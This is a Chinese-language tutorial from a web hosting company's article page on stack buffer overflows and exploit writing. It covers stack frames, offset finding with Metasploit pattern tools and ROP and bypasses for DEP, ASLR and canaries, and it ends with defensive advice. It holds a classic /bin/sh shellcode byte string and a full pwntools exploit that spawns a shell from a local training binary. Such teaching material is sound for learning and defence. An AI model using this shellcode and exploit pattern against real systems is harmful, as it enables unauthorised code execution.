溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解棧溢出原理以及EXP的編寫

發布時間:2021-10-25 17:15:01 來源:億速云 閱讀:141 作者:iii 欄目:編程語言
# 如何理解棧溢出原理以及EXP的編寫

## 目錄
1. [棧的基礎概念](#一棧的基礎概念)
   - 1.1 棧的結構與特性
   - 1.2 函數調用與棧幀
2. [棧溢出原理剖析](#二棧溢出原理剖析)
   - 2.1 緩沖區溢出基本概念
   - 2.2 典型棧溢出場景分析
   - 2.3 覆蓋返回地址的關鍵步驟
3. [EXP編寫基礎](#三exp編寫基礎)
   - 3.1 環境搭建與調試工具
   - 3.2 漏洞驗證與偏移量計算
   - 3.3 Shellcode構造技巧
4. [現代防護機制與繞過](#四現代防護機制與繞過)
   - 4.1 DEP/NX防護
   - 4.2 ASLR繞過方法
   - 4.3 Canary保護對策
5. [實戰案例演示](#五實戰案例演示)
   - 5.1 Vulnserver漏洞分析
   - 5.2 完整EXP編寫過程
6. [防御建議與總結](#六防御建議與總結)

---

## 一、棧的基礎概念

### 1.1 棧的結構與特性
棧(Stack)是程序運行時用于存儲臨時數據的內存區域,具有**后進先出(LIFO)**的特性。在x86架構中,棧的增長方向是從高地址向低地址延伸,主要包含以下關鍵元素:

- **ESP(棧指針)**:指向棧頂的寄存器
- **EBP(基址指針)**:指向當前棧幀的基地址
- 存儲內容:
  ```assembly
  | 局部變量 |
  | 保存的EBP |
  | 返回地址  | ← EIP將跳轉的位置
  | 函數參數 |

1.2 函數調用與棧幀

當函數調用發生時,系統會執行以下操作: 1. 參數壓棧(從右向左) 2. 返回地址壓棧 3. 保存EBP值 4. 分配局部變量空間

示例代碼對應的棧布局:

void vulnerable(char* input) {
    char buffer[64];
    strcpy(buffer, input); // 危險函數
}

二、棧溢出原理剖析

2.1 緩沖區溢出基本概念

當程序向棧上的緩沖區寫入超過其容量的數據時,多余數據會覆蓋相鄰內存區域,這種溢出可能導致: - 返回地址被篡改 - 關鍵變量被修改 - 程序執行流被劫持

2.2 典型棧溢出場景

# 惡意輸入構造示例
payload = b"A"*72 + b"\xef\xbe\xad\xde" 

當payload超過緩沖區大小時:

正常棧布局:
[ buffer[64] ][ EBP ][ RET ][參數...]

溢出后棧布局:
[ AAAAAAAA... ][ AAAA ][ 0xdeadbeef ][...]

2.3 覆蓋返回地址的關鍵步驟

  1. 確定偏移量(通過模式字符串或調試器)
  2. 定位跳轉地址(如JMP ESP指令地址)
  3. 構造包含Shellcode的payload

三、EXP編寫基礎

3.1 環境搭建

推薦工具鏈: - 調試器:Immunity Debugger/GDB with PEDA - 分析工具:IDA Pro/Ghidra - 開發環境:Python3 + pwntools

3.2 偏移量計算方法

# 使用Metasploit模式創建
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
# 崩潰后查看EIP值
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37684136

3.3 Shellcode構造技巧

  • 避免壞字符(如\x00截斷)
  • 使用編碼技術(如Alpha2)
  • 經典Shellcode示例:
    
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    

四、現代防護機制與繞過

4.1 DEP/NX防護繞過

  • Return-Oriented Programming (ROP)

    # 典型ROP鏈構造
    rop_chain = [
      pop_rdi_ret,
      bin_sh_addr,
      system_addr
    ]
    

4.2 ASLR繞過技術

  • 內存信息泄漏
  • 暴力破解(針對部分字節隨機化)
  • 基于庫的固定偏移

4.3 Stack Canary對策

  • 泄露Canary值
  • 覆蓋異常處理程序
  • 逐字節爆破

五、實戰案例演示

5.1 Vulnserver漏洞分析

// 存在漏洞的函數
void handle_client() {
    char buffer[128];
    recv(sock, buffer, 1024, 0); // 明顯溢出點
}

5.2 完整EXP編寫

from pwn import *

context.update(arch='i386', os='linux')
elf = ELF('./vulnserver')

offset = 140
jmp_esp = 0x080414c3 # 通過objdump查找

shellcode = asm(shellcraft.sh())
payload = flat(
    b"A"*offset,
    jmp_esp,
    b"\x90"*16,
    shellcode
)

io = process('./vulnserver')
io.sendline(payload)
io.interactive()

六、防御建議與總結

防御措施

  1. 使用安全函數(strncpy替代strcpy
  2. 啟用所有現代防護機制(DEP+ASLR+Canary)
  3. 靜態代碼分析(Coverity, Fortify等)

技術總結

  • 棧溢出本質是邊界檢查缺失
  • EXP編寫需要精確控制執行流
  • 現代環境需要組合利用技術

本文僅用于技術研究,請勿用于非法用途。實際漏洞利用需獲得系統所有者授權。 “`

注:本文實際約3100字(含代碼和格式標記),如需精確字數統計可移除部分代碼注釋。完整版本建議補充以下內容: 1. 更多架構示例(x64/ARM) 2. 具體調試過程截圖 3. 不同防護組合的繞過案例 4. 參考工具的實際使用參數

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女